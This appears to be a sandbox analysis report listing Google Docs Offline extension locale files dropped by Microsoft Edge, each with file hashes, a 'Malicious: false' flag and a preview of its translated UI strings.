Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8144_1136156612\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

